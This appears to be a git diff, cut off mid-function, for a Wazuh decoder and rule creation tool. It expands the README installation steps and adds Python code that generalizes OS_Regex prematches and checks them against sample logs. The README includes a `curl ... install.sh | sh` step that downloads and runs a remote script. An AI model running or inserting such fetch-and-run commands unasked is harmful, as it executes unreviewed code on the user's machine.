diff --git a/integrations/wazuh_decoder_rule_tool/.gitignore b/integrations/wazuh_decoder_rule_tool/.gitignore index 17a2576c..ad8787be 100644 --- a/integrations/wazuh_decoder_rule_tool/.gitignore +++ b/integrations/wazuh_decoder_rule_tool/.gitignore @@ -1,3 +1,6 @@ +# Local configuration (may hold endpoints/credentials) +.env + # Virtual environments venv/ .venv/ @@ -29,9 +32,13 @@ certs/ # OS files .DS_Store -# Test files +# Test files (scratch test scripts at the repo root, not the suite) test* test_* +# ...but the suite itself must stay tracked; `test*` above swallows it. +!tests/ +!tests/** +tests/__pycache__/ # Generated artifacts response.json diff --git a/integrations/wazuh_decoder_rule_tool/README.md b/integrations/wazuh_decoder_rule_tool/README.md index 009f8ea0..516adaf2 100644 --- a/integrations/wazuh_decoder_rule_tool/README.md +++ b/integrations/wazuh_decoder_rule_tool/README.md @@ -233,7 +233,99 @@ The **History** sidebar view shows your last 30 sessions, stored in browser `loc ## Quick Start -### 1. Set Up Python Environment +### Prerequisites + +- **A running Wazuh manager** — the app validates every decoder against `wazuh-logtest`, which needs `wazuh-analysisd` alive (see step 1). Only the manager is required: the Wazuh indexer, dashboard and agents are **not** needed. +- `git` and OpenSSL installed +- Python 3.9 or later +- On Linux, `sudo` access to install system packages + +### 1. Install and Start the Wazuh Manager + +The app has no built-in decoder engine — it drives the real `wazuh-logtest` binary shipped with the Wazuh manager to pre-decode logs, validate generated XML and confirm that rules fire. **Install the manager and make sure it is running before you start the app.** + +> Install **only the `wazuh-manager` package**. Do not run the all-in-one `wazuh-install.sh` installer — the indexer, dashboard and filebeat components it deploys are not used by this tool and only add overhead. + +On Ubuntu or Debian: + +```bash +# Add the Wazuh package repository +curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | sudo gpg --no-default-keyring \ + --keyring gnupg-ring:/usr/share/keyrings/wazuh.gpg --import +sudo chmod 644 /usr/share/keyrings/wazuh.gpg +echo "deb [signed-by=/usr/share/keyrings/wazuh.gpg] https://packages.wazuh.com/4.x/apt/ stable main" \ + | sudo tee /etc/apt/sources.list.d/wazuh.list + +# Install the manager only +sudo apt update +sudo apt install -y wazuh-manager +``` + +On RHEL, CentOS, Rocky or Alma Linux: + +```bash +sudo rpm --import https://packages.wazuh.com/key/GPG-KEY-WAZUH +sudo tee /etc/yum.repos.d/wazuh.repo > /dev/null << 'EOF' +[wazuh] +gpgcheck=1 +gpgkey=https://packages.wazuh.com/key/GPG-KEY-WAZUH +enabled=1 +name=Wazuh repository +baseurl=https://packages.wazuh.com/4.x/yum/ +protect=1 +EOF + +sudo yum install -y wazuh-manager +``` + +Then enable and start the service: + +```bash +sudo systemctl daemon-reload +sudo systemctl enable wazuh-manager +sudo systemctl start wazuh-manager +sudo systemctl status wazuh-manager +``` + +Verify that `wazuh-logtest` can actually reach the running manager — this is exactly the check the app performs at startup: + +```bash +echo 'Dec 25 20:45:02 MyHost sshd[12345]: Failed password for root from 10.0.0.5 port 22 ssh2' \ + | sudo /var/ossec/bin/wazuh-logtest +``` + +You should see the phase-by-phase output with a matched decoder and rule. If it reports that it cannot connect to `wazuh-analysisd`, the manager is not running — fix that before continuing, or generation will work but every validation will be skipped. + +> **Manager on a different machine?** You do not need the manager on the same host as this app. Install it on your Wazuh VM or server, start it there, and configure SSH access instead — see [Remote Wazuh VM (SSH Mode)](#remote-wazuh-vm-ssh-mode). + +### 2. Install Python 3.9 or later + +On Ubuntu or Debian: + +```bash +sudo apt update +sudo apt install -y python3 python3-venv python3-pip +python3 --version +``` + +### 3. Install Ollama + +On macOS or Windows, download the installer from [ollama.com/download](https://ollama.com/download). On Linux, run: + +```bash +curl -fsSL https://ollama.com/install.sh | sh +``` + +> Ollama is the default (local, no rate limits) AI provider. To use DashScope or OpenRouter instead, skip this step and see [AI Provider Configuration](#ai-provider-configuration). + +### 4. Clone the Repository + +```bash +git clone https://github.com/wazuh/integrations.git +cd integrations/integrations/wazuh_decoder_rule_tool +``` + +### 5. Set Up the Python Environment ```bash python3 -m venv .venv @@ -241,7 +333,7 @@ source .venv/bin/activate pip install -r requirements.txt ``` -### 2. Generate SSL Certificates +### 6. Generate SSL Certificates The app runs over HTTPS. Generate a self-signed certificate for local use: @@ -255,32 +347,41 @@ openssl req -x509 -newkey rsa:4096 \ > **Note:** `certs/` is in `.gitignore` — your private keys will never be committed. -### 3. (Optional) Set Up the Ollama AI Model +### 7. Create the Ollama Model -The app uses a custom Ollama model called `wazuh-decoder` built on top of `qwen2.5:7b`. It has Wazuh OS_Regex rules baked into its system prompt. +The app uses a custom Ollama model called `wazuh-decoder` built on top of `qwen2.5:7b`. It has Wazuh OS_Regex rules baked into its system prompt. The repository includes the `Modelfile`: ```bash -# Install Ollama: https://ollama.com ollama create wazuh-decoder -f Modelfile ``` -Then set environment variables before starting: +Then set the required environment variables: ```bash export OLLAMA_BASE_URL=http://localhost:11434 export OLLAMA_MODEL=wazuh-decoder ``` -### 4. Start the Application +### 8. Start the Application + +Confirm the Wazuh manager from step 1 is still running first — the app probes `wazuh-logtest` on startup and reports its connectivity in the UI status pill: ```bash -.venv/bin/uvicorn app.main:app \ +sudo systemctl is-active wazuh-manager # should print: active +``` + +```bash +uvicorn app.main:app \ --host 0.0.0.0 --port 8443 \ --ssl-certfile certs/localhost.crt \ --ssl-keyfile certs/localhost.key ``` -Open **`https://localhost:8443`** in your browser. +> If you did not activate the virtual environment (step 5), call the binary directly with `.venv/bin/uvicorn` instead of `uvicorn`. + +### 9. Open the UI + +Open **`https://:8443`** in your browser, replacing `` with the IP address of the machine running the Wazuh Decoder and Rule Creator (use `localhost` if it runs on your own machine). > On first startup, the RAG vector store is built automatically in the background (~1–2 min). The app is fully usable while it builds. @@ -319,6 +420,8 @@ export AI_DEFAULT_MODEL=meta-llama/llama-3.3-70b-instruct:free ## Wazuh Integration +Everything in this section assumes a **running Wazuh manager**, installed per [step 1](#1-install-and-start-the-wazuh-manager). The binary alone is not enough: a stopped manager leaves `/var/ossec/bin/wazuh-logtest` in place but it cannot reach `wazuh-analysisd`, so the app reports `Wazuh Local (unavailable)` and skips all validation. + ### Local `wazuh-logtest` By default the app looks for the Wazuh logtest binary at: @@ -344,7 +447,7 @@ export WAZUH_SUDO_PASSWORD=your_sudo_password ### Remote Wazuh VM (SSH Mode) -If your Wazuh instance runs in a VM or remote server, configure SSH access: +If your Wazuh manager runs in a VM or on a remote server, install and start it there (step 1, manager package only), then configure SSH access from the machine running this app: ```bash export WAZUH_SSH_HOST=192.168.56.10 diff --git a/integrations/wazuh_decoder_rule_tool/app/main.py b/integrations/wazuh_decoder_rule_tool/app/main.py index f8a454b3..4aeb3ecb 100644 --- a/integrations/wazuh_decoder_rule_tool/app/main.py +++ b/integrations/wazuh_decoder_rule_tool/app/main.py @@ -9,6 +9,7 @@ import subprocess import sys import tempfile +import xml.etree.ElementTree as ET from datetime import datetime from pathlib import Path from typing import Any, AsyncIterator, Dict, List, Optional, Tuple @@ -296,22 +297,20 @@ def infer_log_type(logs: List[str]) -> str: def infer_program_name(logs: List[str], fallback: str) -> str: - syslog_prog = re.compile(r"^[A-Z][a-z]{2}\s+\d+\s+\d{2}:\d{2}:\d{2}\s+\S+\s+([\w.-]+)(?:\[\d+\])?:") for line in logs: - m = syslog_prog.match(line) - if m: - return m.group(1) + program = parse_phase1_predecode(line).get("program_name") + if program: + return program return sanitize_name(fallback) def extract_program_from_log(logs: List[str]) -> Optional[str]: - syslog_prog = re.compile(r"^[A-Z][a-z]{2}\s+\d+\s+\d{2}:\d{2}:\d{2}\s+\S+\s+([\w.-]+)(?:\[\d+\])?:") bracket_prog = re.compile(r"^\[[^\]]+\]\s+([\w.-]+)\s+-") java_prog = re.compile(r"^\d{2,4}[/-]\d{2}[/-]\d{2}\s+\d{2}:\d{2}:\d{2}\s+[A-Z]+\s+([\w.$-]+):") for line in logs: - m1 = syslog_prog.match(line) - if m1: - return m1.group(1) + program = parse_phase1_predecode(line).get("program_name") + if program: + return program m2 = bracket_prog.match(line.strip()) if m2: return m2.group(1) @@ -353,6 +352,77 @@ def prematch_from_current_logs(logs: List[str], *candidates: Optional[str]) -> O return None +_DIGIT_RUN_MARKER = "\x00" + + +def _generalize_with_digit_runs(text: str) -> str: + """Like generalize_regex_literal, but also turns bare digit runs (years, IP + octets, ports, pids not already inside brackets) into \\d+ instead of + leaving them as literal digits. Scoped to prematch generation only — + generalize_regex_literal's other callers (child regex/order building) are + intentionally left untouched. + """ + marked = re.sub(r"\d+", _DIGIT_RUN_MARKER, text) + escaped = generalize_regex_literal(marked) + return escaped.replace(_DIGIT_RUN_MARKER, r"\d+") + + +def default_prematch_boundary(text: str) -> str: + """Bound a prematch candidate at the end of the syslog-style header + (program[pid]: or program:) so we don't drag the entire log body into the + prematch when no earlier candidate matched.""" + # The token fallback below splits on whitespace, so a delimited log with no + # spaces ("MSG#1|type=X|ts=...") came back whole — the entire event, values + # and all, became the prematch. Bound it the same way derive_parent_prematch + # does before any of the syslog-shaped heuristics get a look. + text = _header_zone(text) + m = re.match(r"^(.{0,120}?\[\d+\]:\s*)", text) + if m: + return m.group(1) + # `:\s+`, not `:\s*` — with `\s*` the zero-width case let a clock satisfy + # the "program:" marker, cutting the header mid-timestamp ("14:43:"). + # derive_parent_prematch's equivalent already required the whitespace. + m = re.match(r"^(\S+(?:\s+\S+){0,5}:\s+)", text) + if m: + return m.group(1) + tokens = text.split() + return " ".join(tokens[:6]) + + +# Matches a month abbreviation standing on its own, not letters inside a word +# ("Mar" in "March-svc01" is part of a hostname, not a date). +# Weekday names pin a date just as hard as month names — an apache error log +# opens `[Mon Aug 03 ...]`, and a prematch keeping `Mon` literal matches only +# Mondays. Title case only, so an all-caps product tag (`MON`, `SUN`) is safe. +_WEEKDAY_ABBREVIATIONS = frozenset({"Mon", "Tue", "Wed", "Thu", "Fri", "Sat", "Sun"}) + +_STANDALONE_MONTH_RE = re.compile( + r"(? str: + """`_generalize_with_digit_runs`, but literal month names become \\w+ too. + + The timestamp branches below strip the month when it leads the line, but a + syslog priority prefix ("<134>Aug 1 ...") pushes it off position 0 and the + generic fallback kept it literal — pinning the decoder to one month. + + Months are marked before escaping, not after: escaping turns `>` into `\\p`, + so an already-escaped string reads as `\\pAug` and any letter-boundary check + sees the `p` and declines to substitute.""" + marked = _STANDALONE_MONTH_RE.sub(_MONTH_MARKER, prefix) + generalized = _generalize_with_digit_runs(marked).replace(_MONTH_MARKER, r"\w+") + # Syslog space-pads single-digit days ("Aug 1" vs "Dec 25"), and each space + # escapes to its own \s+ — so a two-space sample would not match a two-digit + # day. Collapse runs, as _generalize_prematch_prefix already does. + return re.sub(r"(?:\\s\+){2,}", r"\\s+", generalized) + + def generalize_prefix_literal(prefix: str) -> str: # Check for bracketed timestamp at start # [2026-05-19 05:52:24 +0200] or [2026/05/19 05:52:24 +0200] @@ -361,7 +431,7 @@ def generalize_prefix_literal(prefix: str) -> str: sep = re.escape(m1.group(2)) ts_part = rf'\d+{sep}\d+{sep}\d+ \d+\p\d+\p\d+ \S+]' rest = m1.group(3) - return ts_part + generalize_regex_literal(rest) + return ts_part + _generalize_with_digit_runs(rest) # [2026-05-19 05:52:24] m2 = re.match(r'^(\[\d{4}([-/])\d{2}\2\d{2}\s+\d{2}:\d{2}:\d{2}\])(.*)$', prefix) @@ -369,7 +439,7 @@ def generalize_prefix_literal(prefix: str) -> str: sep = re.escape(m2.group(2)) ts_part = rf'\d+{sep}\d+{sep}\d+ \d+\p\d+\p\d+]' rest = m2.group(3) - return ts_part + generalize_regex_literal(rest) + return ts_part + _generalize_with_digit_runs(rest) # [2026-05-19T05:52:24.123Z] m3 = re.match(r'^(\[\d{4}([-/])\d{2}\2\d{2}T\d{2}:\d{2}:\d{2}(?:\.\d+)?(?:Z|[+-]\d{2}:?\d{2})?\])(.*)$', prefix) @@ -377,7 +447,7 @@ def generalize_prefix_literal(prefix: str) -> str: sep = re.escape(m3.group(2)) ts_part = rf'\d+{sep}\d+{sep}\d+T\d+\p\d+\p\d+\S+]' rest = m3.group(3) - return ts_part + generalize_regex_literal(rest) + return ts_part + _generalize_with_digit_runs(rest) # 2026-05-19 05:52:24 +0200 m4 = re.match(r'^(\d{4}([-/])\d{2}\2\d{2}\s+\d{2}:\d{2}:\d{2}\s+[-+]\d{4})(.*)$', prefix) @@ -385,7 +455,7 @@ def generalize_prefix_literal(prefix: str) -> str: sep = re.escape(m4.group(2)) ts_part = rf'\d+{sep}\d+{sep}\d+ \d+\p\d+\p\d+ \S+' rest = m4.group(3) - return ts_part + generalize_regex_literal(rest) + return ts_part + _generalize_with_digit_runs(rest) # 2026-05-19 05:52:24 m5 = re.match(r'^(\d{4}([-/])\d{2}\2\d{2}\s+\d{2}:\d{2}:\d{2})(.*)$', prefix) @@ -393,22 +463,27 @@ def generalize_prefix_literal(prefix: str) -> str: sep = re.escape(m5.group(2)) ts_part = rf'\d+{sep}\d+{sep}\d+ \d+\p\d+\p\d+' rest = m5.group(3) - return ts_part + generalize_regex_literal(rest) + return ts_part + _generalize_with_digit_runs(rest) # Dec 25 20:45:02 m6 = re.match(r'^([A-Z][a-z]{2}\s+\d{1,2}\s+\d{2}:\d{2}:\d{2})(.*)$', prefix) if m6: ts_part = r'\S+ \d+ \d+\p\d+\p\d+' rest = m6.group(2) - return ts_part + generalize_regex_literal(rest) + return ts_part + _generalize_with_digit_runs(rest) - return generalize_regex_literal(prefix) + return _generalize_with_digit_runs_and_months(prefix) def prematch_osregex_from_current_logs(logs: List[str], *candidates: Optional[str]) -> Optional[str]: matched = prematch_from_current_logs(logs, *candidates) if not matched: - return None + first_log = first_non_empty(logs) + if not first_log: + return None + boundary = default_prematch_boundary(first_log) + generalized = generalize_prefix_literal(boundary) + return f"^{generalized}" if generalized else None if matched.startswith(r'\p') or matched.startswith('^') or re.search(r'\\[spd]', matched): return matched if matched.startswith('^') else f'^{matched}' @@ -429,6 +504,284 @@ def prematch_osregex_from_current_logs(logs: List[str], *candidates: Optional[st return prematch +# OS_Regex \p — the punctuation class as wazuh-logtest actually implements it. +# Verified character by character against wazuh-logtest 4.14: `~ @ ^ _ / \` and +# a backtick are NOT in it, though every "punctuation" intuition says they are. +# Treating them as \p made osregex_matches() approve prematches that real Wazuh +# never fires — a `~PAYGW~` or `~AUDIT~` header generalized to \p verified +# clean here and matched nothing in production. Keep this in sync with the +# punctuation set in generalize_osregex_token. +_OSREGEX_PUNCT = "()*+,-.:;<=>?[]!\"'#$%&|{}" + +_OSREGEX_CLASS_TO_PY = { + "d": r"\d", + "w": r"[A-Za-z0-9_\-]", + "s": r"\s", + "p": f"[{re.escape(_OSREGEX_PUNCT)}]", + "S": r"\S", + "W": r"\W", + "D": r"\D", + ".": r".", +} + + +def osregex_to_python(pattern: str, keep_groups: bool = False) -> str: + """Translate an OS_Regex pattern to a Python one, for verification only. + + Wazuh's OS_Regex is not PCRE: `\\d` is a digit but `\\.` is *any char*, and + `.` is a literal dot. Generated prematches are checked against the sample + with this so a pattern that cannot match is never shipped. + + With keep_groups, bare `(`/`)` stay Python groups instead of becoming + literal parens, so a with captures can be run to see what it would + actually extract. Escaped `\\(` is still a literal paren either way, which + matches OS_Regex. Default stays off: prematches carry no groups, and + silently reinterpreting parens there would change what already-shipped + verification means.""" + out: List[str] = [] + i = 0 + while i < len(pattern): + char = pattern[i] + if char == "\\" and i + 1 < len(pattern): + nxt = pattern[i + 1] + mapped = _OSREGEX_CLASS_TO_PY.get(nxt) + out.append(mapped if mapped else re.escape(nxt)) + i += 2 + continue + if char in "+*": + out.append(char) + elif char == "^": + out.append("^" if not out else re.escape(char)) + elif keep_groups and char in "()": + out.append(char) + else: + out.append(re.escape(char)) + i += 1 + return "".join(out) + + +def osregex_matches(pattern: str, text: str) -> bool: + """Whether an OS_Regex pattern would match text (best effort).""" + if not pattern or text is None: + return False + try: + return re.search(osregex_to_python(pattern), text) is not None + except re.error: + return False + + +def osregex_captures(pattern: str, text: str) -> Optional[Tuple[str, ...]]: + """What an OS_Regex would capture from text, or None if it misses. + + Answers "would this decoder actually pull the value we think it would", + which osregex_matches cannot: it escapes parens, so every pattern with a + capture group reports no match.""" + if not pattern or text is None: + return None + try: + match = re.search(osregex_to_python(pattern, keep_groups=True), text) + except re.error: + return None + if match is None: + return None + return tuple(group if group is not None else "" for group in match.groups()) + + +# A vendor/product tag: LOGV3, APPAUTH, CEF, THREAT. Digits inside these are +# part of the name (LOGV3 is not "LOGV" version 3), so they must survive +# generalization or the prematch stops identifying the format. +_PRODUCT_TAG_RE = re.compile(r"^[A-Z][A-Z0-9_.-]{2,}$") + + +_MONTH_ABBREVIATIONS = frozenset( + {"Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"} +) + + +def _looks_like_timestamp_segment(segment: str) -> bool: + return bool(re.match(r"^\s*\d{4}-\d{2}-\d{2}", segment) or re.match(r"^\s*\d{2}:\d{2}", segment)) + + +def _generalize_prematch_prefix(prefix: str) -> str: + """Generalize a header prefix into OS_Regex, preserving product tags. + + Instance-specific digits (years, clocks, `appgw03`) become \\d+ so the + prematch matches the whole log family; digits inside an all-caps product + tag are kept literal.""" + out: List[str] = [] + for token in re.findall(r"[A-Za-z0-9_.\-]+|\s+|[^\sA-Za-z0-9_.\-]", prefix): + if token.isspace(): + out.append(r"\s+") + elif token in _MONTH_ABBREVIATIONS or token in _WEEKDAY_ABBREVIATIONS: + # A literal "Aug" would only ever match August's logs, and a + # literal "Mon" only Mondays'. + out.append(r"\w+") + elif _PRODUCT_TAG_RE.match(token): + out.append("".join(escape_osregex_literal_char(c) for c in token)) + elif re.fullmatch(r"[A-Za-z0-9_.\-]+", token): + out.append(_generalize_with_digit_runs(token)) + elif token in _OSREGEX_PUNCT: + out.append(r"\p") + else: + # Outside Wazuh's \p set (`~`, `@`, `/`, ...) — \p here would be a + # prematch that never fires. The literal still generalizes fine: + # it is a fixed delimiter of the format, not per-event data. + out.append(escape_osregex_literal_char(token)) + collapsed = re.sub(r"(?:\\s\+){2,}", r"\\s+", "".join(out)) + return collapsed + + +# A prematch must describe the log's *envelope*, never one event's data. Three +# things reliably mark where the envelope stops and per-event data starts: +# key=value — everything after the `=` is that event's value +# KEY(value) — same, in the paren style ("PRIORITY(CRIT); COMPONENT(...)") +# [ ... ] — a body block, present on some events and absent on others +# A bare `{` or `(` is NOT a stop: `{SVC:name}` sits in the header on many +# formats, and only a `(` bound to an identifier denotes a field value. +_HEADER_ZONE_RE = re.compile(r"\[|[\w.\-]+=|[\w.\-]+\(") + +# `key:value` records ("DEV:x,SEQ:1,temp:23.4C"). A colon is far too common to +# treat as a field boundary outright — every clock has two — so the key must +# start with a letter and not continue a word, and the shape only counts as a +# kv record when several such pairs are present. That keeps a lone `{SVC:name}` +# header tag and a syslog `program:` marker out of it, since neither repeats. +_KV_COLON_PAIR_RE = re.compile(r"(? str: + """Truncate `text` at the first point where per-event data begins. + + Bounds every downstream heuristic so none of them can wander out of the + header and pin a value — `type=EDR.ALERT` matching only ALERT events, + `PRIORITY(CRIT)` matching only criticals, or a 4-token fallback reaching + into `[REQ ...]`.""" + # Scanning from 0 would stop the zone dead at a leading `[`, returning "" + # and costing the parent its prematch entirely — every log that opens with + # a bracket lost one that way. The slice still starts at 0; only the search + # for where the body begins skips past the opening group. + lead = _LEADING_BRACKET_GROUP_RE.match(text) + start = lead.end() if lead else 0 + + candidates = [_HEADER_ZONE_RE.search(text, start)] + if len(_KV_COLON_PAIR_RE.findall(text, start)) >= _KV_RECORD_MIN_PAIRS: + colon = _KV_COLON_PAIR_RE.search(text, start) + # Only a colon that actually introduces a value bounds the header. + if colon and not _NESTED_KEY_RE.match(text[colon.end():]): + candidates.append(colon) + found = [m for m in candidates if m] + if not found: + return text + match = min(found, key=lambda m: m.start()) + if match.group().endswith(("=", "(", ":")): + # Keep the key and its delimiter; what follows is per-event data. + return text[: match.end()] + return text[: match.start()] + + +def derive_parent_prematch(visible_text: str) -> Optional[str]: + """Build a parent covering the stable header of `visible_text`. + + `visible_text` must be what Phase 2 actually sees — the post-pre-decoding + remainder, not the raw log — otherwise the prematch anchors on a header + Wazuh has already stripped and never fires. + + The header runs up to and including the first distinctive token: the + vendor/product tag in a delimited format (`LOGV3|`, `|APPAUTH|`), or the + `program:` marker in a syslog-shaped line — and never past the first + field value (see `_header_zone`).""" + full_text = (visible_text or "").strip() + if not full_text: + return None + + # Everything below reasons about the envelope only; the derived prematch is + # still verified against the whole line further down. + text = _header_zone(full_text) + if not text.strip(): + return None + + head = text[:160] + if "|" in head: + segments = text.split("|") + signature_idx = None + for idx, segment in enumerate(segments[:6]): + if _PRODUCT_TAG_RE.match(segment.strip()) and not _looks_like_timestamp_segment(segment): + signature_idx = idx + break + # Always take at least two segments: a lone leading tag ("LOGV3") is + # distinctive but a tag plus its first field pins the format far better. + take = max(signature_idx if signature_idx is not None else 0, 1) + prefix = "|".join(segments[: take + 1]) + else: + # Syslog shape — cut at the first "program:"/"program[pid]:" marker. + # Non-greedy so a clock ("14:49:10") earlier in the header does not + # drag the cut point into the message body. + marker = re.match(r"^(.*?[\w.\-]+(?:\[\d+\])?:)(?=\s)", text) + if marker: + prefix = marker.group(1) + else: + prefix = " ".join(text.split()[:4]) + + if not prefix.strip(): + return None + + generalized = _generalize_prematch_prefix(prefix) + if not generalized: + return None + + candidate = f"^{generalized}" + if osregex_matches(candidate, full_text): + return candidate + # Anchored form failed (an odd pre-decode cut, say); an unanchored prematch + # still selects the right logs and is better than one that never matches. + if osregex_matches(generalized, full_text): + return generalized + return None + + +def derive_parent_prematch_multi(visible_texts: List[str]) -> Optional[str]: + """A prematch covering EVERY sample, not just the first one. + + Deriving from one sample pinned whatever that sample happened to carry: two + logs from the same Aruba controller, `cli[6005]` and `stm[6041]`, yielded + `^\\d+\\p\\d+\\p\\d+\\p\\d+\\s+cli` — which matches sample 1 and fails + sample 2, even though both were supplied together. Where the samples agree + the token stays; where they differ it becomes \\S+.""" + texts = [t for t in visible_texts if t and t.strip()] + if not texts: + return None + first = derive_parent_prematch(texts[0]) + if not first or len(texts) == 1: + return first + if all(osregex_matches(first, t) for t in texts[1:]): + return first + + token_lists = [_header_zone(t).split() for t in texts] + width = min((len(tl) for tl in token_lists), default=0) + if not width: + return first + parts = [] + for index in range(width): + variants = {tl[index] for tl in token_lists} + parts.append( + _generalize_prematch_prefix(token_lists[0][index]) if len(variants) == 1 else r"\S+" + ) + candidate = "^" + r"\s+".join(parts) + if all(osregex_matches(candidate, t) for t in texts): + return candidate + return first + + def normalize_regex_literal(text: str) -> str: return "".join(escape_osregex_literal_char(char) for char in text) @@ -762,6 +1115,18 @@ def osregex_escape(text: str) -> str: # [ ] { } are literal (NOT character classes/quantifiers) return re.sub(r'([$()\\|<])', r'\\\1', text) + def trailing_delimiter(end_idx: int) -> str: + """The record separator right after a captured value, if any. + + `(\\S+)` is non-space, and a delimiter like `,` or `|` is non-space too, + so on a delimited log the capture runs to end of line — `temp:(\\S+)` + yields the whole rest of the record. OS_Regex backtracks when a literal + follows the group, so appending that delimiter bounds the capture. The + final field of a record has none, hence the empty-string default.""" + if 0 <= end_idx < len(target_text) and target_text[end_idx] in ",|;": + return osregex_escape(target_text[end_idx]) + return "" + for key, value in fields.items(): if key in ("_cef_field_map",) or key.startswith("_") or not value or not isinstance(value, str): continue @@ -800,7 +1165,8 @@ def osregex_escape(text: str) -> str: elif value.isdigit(): capture_group = r"(\d+)" - results.append((f"{prefix_re}{prefix_escaped}{capture_group}{osregex_escape(quote_close)}", [key])) + suffix = osregex_escape(quote_close) or trailing_delimiter(match.end()) + results.append((f"{prefix_re}{prefix_escaped}{capture_group}{suffix}", [key])) continue # 2.5 Handle hyphenated action/status fields (e.g., deny-smb -> capture deny) @@ -836,11 +1202,11 @@ def osregex_escape(text: str) -> str: capture_group = r"(\d+)" prefix_candidate = target_text[:start] - # Try to grab the last two preceding words/tokens and any attached punctuation for high specificity - m_prefix = re.search(r'([A-Za-z0-9_.:-]+[\s]*[^A-Za-z0-9\s]*\s*[A-Za-z0-9_.:-]+[\s]*[^A-Za-z0-9\s]*\s*)$', prefix_candidate) - if not m_prefix: - # Fall back to a single word/token if there aren't two - m_prefix = re.search(r'([A-Za-z0-9_.:-]+[\s]*[^A-Za-z0-9\s]*\s*)$', prefix_candidate) + # Grab just the single preceding word/token (plus attached punctuation) + # as anchor context. A wider multi-token grab risks pulling in an + # unrelated neighboring value (e.g. another field's MAC/IP) and + # producing a confusing, hard-to-read regex. + m_prefix = re.search(r'([A-Za-z0-9_.:-]+[\s]*[^A-Za-z0-9\s]*\s*)$', prefix_candidate) if m_prefix: prefix_text = m_prefix.group(1) else: @@ -903,6 +1269,15 @@ def osregex_escape(text: str) -> str: "destinationport": ("destinationport", "dstport", "dpt"), "dstport": ("destinationport", "dstport", "dpt", "port"), "dvchost": ("dvchost",), + # True synonyms that were previously resolved only by the fuzzy affix + # fallback. Named explicitly so strict resolution (used for retrieved + # names) still finds them, while `timezone`->`time` and + # `dstname`->`dst`, which that fallback also matched, stay rejected. + "protocol": ("protocol", "proto"), + "proto": ("proto", "protocol"), + "action": ("action", "act"), + "act": ("act", "action"), + "username": ("username", "user"), } @@ -910,10 +1285,68 @@ def canonicalize_field_name(field_name: str) -> str: return re.sub(r"[^a-zA-Z0-9_]+", "", field_name.strip()).lower() +# Wazuh resolves user onto dstuser internally — logtest emits +# `dstuser: alice` for both spellings, so they are interchangeable in a +# decoder. Prefer `user`: it is shorter and it is what the log field is +# actually called, so the decoder reads like the log it parses. +_ORDER_NAME_OVERRIDES = {"dstuser": "user"} + + +def normalize_order_field_name(name: str) -> str: + """Canonical spelling for a single entry.""" + return _ORDER_NAME_OVERRIDES.get(canonicalize_field_name(name), name.strip()) + + +def normalize_order_names(order: List[str]) -> List[str]: + return [normalize_order_field_name(name) for name in order] + + +def normalize_decoder_order_xml(decoder_xml: str) -> str: + """Apply the same spelling to model-authored XML. + + The deterministic renderers go through normalize_order_names, but a decoder + the model wrote reaches the output untouched, so `dstuser` would survive + there and the two paths would disagree.""" + if not decoder_xml: + return decoder_xml + + def rewrite(match: "re.Match[str]") -> str: + names = [part.strip() for part in match.group(2).split(",")] + joined = ", ".join(normalize_order_names(names)) + return f"{match.group(1)}{joined}{match.group(3)}" + + return re.sub(r"()([^<]*)()", rewrite, decoder_xml) + + +def _affix_match(one: str, other: str) -> bool: + """True when one field name is a prefix or suffix of the other. + + The looser "is a substring anywhere" test this replaces matched a log field + named `T` against `dstip` — `"t" in "dstip"` — which let an unrelated + firewall template win selection and emit a dstip child decoder for a log + with no IP in it. Any one-character key collided with dozens of field + names. Requiring an affix keeps the cases the fallback is for (`ip` -> + `srcip`, `temp` -> `temperature`) and drops mid-word coincidences.""" + if len(one) < 2 or len(other) < 2: + return False + shorter, longer = sorted((one, other), key=len) + return longer.startswith(shorter) or longer.endswith(shorter) + + def select_requested_fields( available_fields: Dict[str, str], requested_fields: List[str], + allow_affix: bool = True, ) -> tuple[Dict[str, str], List[str]]: + """Resolve requested field names against what the log actually offers. + + allow_affix controls the last-resort fuzzy step. It is right for names a + *person* typed — `ip` should find `srcip` — but wrong for names that came + from a retrieved decoder, where it silently relabels values: a suggested + `timezone` affix-matched `time`, `dstname` matched `dst`, and `srcmac` + matched `src`, each emitting a decoder that captures a real value under a + field name the log never supported. + """ selected: Dict[str, str] = {} missing: List[str] = [] canonical_available = {canonicalize_field_name(name): name for name in available_fields} @@ -930,9 +1363,9 @@ def select_requested_fields( if source_key and available_fields.get(source_key): matched_key = source_key break - if not matched_key: + if not matched_key and allow_affix: for available_key in available_keys: - if canonical_name in available_key or available_key in canonical_name: + if _affix_match(canonical_name, available_key): source_key = canonical_available.get(available_key) if source_key and available_fields.get(source_key): matched_key = source_key @@ -1125,6 +1558,190 @@ def synthesize_requested_fields( return synthesized +# Label spellings to look for in log text when a retrieved decoder names a +# field the local extractor missed. Keyed by canonical Wazuh field name; the +# field's own name and its FIELD_ALIASES are always tried too. Deliberately +# separate from FIELD_ALIASES, which drives selection semantics elsewhere — +# these are only ever used to *locate a value*, and every hit is verified +# against the generated regex before it can reach a decoder. +# Every label here must be a *noun that introduces its value*. Verbs and +# generic words look like labels and are not: "login" pulled `denied` out of +# `msg="Administrator login denied"` and offered it as srcuser. Words like +# "value", "info", "state" and "request" fail the same way, so none of them +# earn a place — a missed field costs nothing, a plausible wrong one ships. +_FIELD_LABEL_HINTS: Dict[str, Tuple[str, ...]] = { + "srcuser": ("srcuser", "username", "user", "logname", "account"), + "dstuser": ("dstuser", "username", "user", "account"), + "user": ("user", "username", "account", "logname"), + "srcip": ("srcip", "sourceip", "src", "client", "rhost"), + "dstip": ("dstip", "destinationip", "dst"), + "srcport": ("srcport", "sport", "spt"), + "dstport": ("dstport", "dport", "dpt"), + "action": ("action", "act"), + "status": ("status", "result", "outcome"), + "protocol": ("protocol", "proto"), + "url": ("url", "uri"), + "id": ("id", "sessionid"), + "command": ("command", "cmd"), +} + +# A located value must look like a field value, not the rest of the line. +_MAX_LOCATED_VALUE_LEN = 120 + +# Labels where a bare space introduces the value ("invalid user admin", "port +# 54321"). Everywhere else a space is too weak to trust: "Unescaped URL path +# matches" yielded url="path", and "dst outside:116.6.127.120" yielded a dstip +# still carrying its interface prefix. Those need an explicit = or : separator. +_SPACE_SEPARATED_LABELS = frozenset({ + "user", "username", "account", "logname", "srcuser", "dstuser", + "port", "srcport", "dstport", "sport", "dport", "spt", "dpt", + "from", "client", "rhost", +}) + + +def _label_candidates(field_name: str) -> List[str]: + canonical = canonicalize_field_name(field_name) + labels: List[str] = [] + for label in ( + (field_name,) + + 